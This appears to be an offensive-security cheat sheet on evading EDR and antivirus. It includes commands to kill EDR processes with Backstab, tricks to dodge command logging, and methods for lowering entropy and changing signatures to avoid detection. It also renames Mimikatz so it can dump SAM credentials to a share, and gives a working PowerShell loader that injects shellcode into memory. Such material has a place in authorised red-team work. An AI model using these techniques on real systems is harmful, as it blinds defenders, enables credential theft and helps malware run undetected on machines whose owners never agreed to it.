Table of Contents
- Logging evasion
- Stop the EDR
- Bypass behavior-based detection
- Virus detection by Antivirus
- On disk
- In memory
- Reference
Logging evasion
When EDR logs actions based on regular expressions.
Linux: Start a command with a space, |, or &&
ls
| ls
&& ls
Windows: Start a command with a space
dir
Stop the EDR
Techniques:
- Rename the application folder, like “C:\Program Files\<EDR name>” to “C:\Program Files\myprecious”. Reboot.
- Remove the SSL certificate used for uploading the data. The EDR might crash, or since the connection is not secure, the EDR will not upload the data. Reboot.
- Use EDR-Freeze
Backstab
Kill EDR processes. Requires local administrator.
Not stealth: Download compiled code from here.
A little bit stealthier…
- Download code from https://github.com/Yaxser/Backstab
- Download and install Visual Studio on the host.
- Open Visual Studio, open the project file and compile the code (Menu Build).
Usage: Open the task manager and find the EDR process name.
cd Backstab-master\x64\Debug
Backstab.exe -n "<EDR process name>.exe" -k -d c:\\test.sys
The EDR process should be killed.
Bypass behavior-based detection
Script
If a script is blocked by the EDR, for example a PowerShell script:

When blocked, create another script (new file) and open a new command prompt window to execute it.
- Create another script (new file).
- Add commands that are not malicious, then execute it.
- Copy/paste the malicious script code in this new script. For each function that might cause the blocking, remove the code. Execute it.
- Add the code from one function. Execute it.
- Repeat this for every function (adding code + executing it) TAKE YOUR TIME.
Example of script commands to start:
Write-Host "Step 1";
$PSversionTable
Virus detection by Antivirus
VirusTotal will distribute the hash of each submission with all participating AV vendors. The hash is considered public.
Scan the malicious file on VirusTotal.
Blacklist based on signature
Detection is based on a byte sequence (or signature).
Change or obfuscate the contents of a known malicious file to change the identifying byte sequence (or signature). E.g. change some strings from uppercase to lowercase or vice versa.
Based on heuristic
Detects patterns and program calls that are considered malicious.
Based on behavior
Executes the file in an emulated environment (VM) and looks for malicious actions or behaviors.
Entropy
Entropy is a measure of the amount of randomness in a set of data. Shellcode usually has high entropy (highly random) so the goal would be to decrease entropy. You can be creative and add dictionary words, any text, image, anything that would be normally compressed.

Highest entropy (totally random data) is 8 bits per byte. A value of 4.4 is quite low.
Check entropy (Kali):
ent <filename>
constant char* words[10] = { 'aaron','abandoned','abdomen','aberdeen','abilities','ability','aboriginal','about','above','abraham' };
Generate a paragraph with a few words in Python.
import random; print(' '.join(random.choices(['hello', 'hi', 'bonjour'], k=50)))
Example, add output to C++ code to decrease entropy:
for i in range(20):
import random; print('std::wcout << L"' + ' '.join(random.choices(['hello', 'hi', 'bonjour'], k=1000)) + '\\n";')
On disk
Modify malicious files on disk to avoid antivirus detection. Techniques can be combined to achieve better antivirus evasion.
Bypass Defender
See Bypass “Mimikatz” using Process Injection Technique.
Do not execute “.\DumpStack.log” interactively, put commands on the line or it will be detected and removed.
cp mimikatz.exe DumpStack.log
copy \\tsclient\myshare\DumpStack.log DumpStack.log
.\DumpStack.log "privilege::debug" "token::elevate" "lsadump::sam" exit > \\tsclient\myshare\mimi_lsadump_sam.txt
Packers
Will NOT evade modern antivirus.
Packers are used to reduce the size of an executable. Unlike compression tools, packers make executable files. The resulting file has a new signature, which can bypass some antivirus based on signature. Example of packers: UPX
Obfuscators
Obfuscation makes reverse engineering more difficult. It can replace instructions by equivalent ones, insert dummy instructions (dead code), and change functions’ order. This can evade some antivirus based on signature.
Crypters
Effective technique for modern antivirus.
Crypters adds a decrypting stub that restores the original code when executed. The code is encrypted on disk and decryption is done in memory.
Software Protectors
Anti-reversing, anti-debugging, virtual machine emulation detection, etc. Examples of software protectors: The Enigma Protector
In memory
In-Memory Injection / PE Injection
Popular technique
Manipulates volatile memory.
Remote Process Memory Injection
Inject the payload in another valid PE that is not malicious. Use Windows APIs.
Reflective DLL Injection: load a DLL stored by the attacker in the process memory.
What is Reflective DLL Injection and how can be detected?
Process Hollowing: launch a non-malicious process in a suspended state. Remove the process image from memory and replace it with a malicious executable image. Resume the process. The malicious code is executed instead of the legitimate process.
Process Hollowing and Portable Executable Relocations
Inline Hooking: modify memory to introduce a hook to redirect code execution to the malicious code. This is transparent: once executed, the normal execution flow is restored.
PowerShell In-Memory Injection
Target the currently executing process, the PowerShell interpreter.
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]]$sc = <shellcode here>;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
Shellter
See Shellter.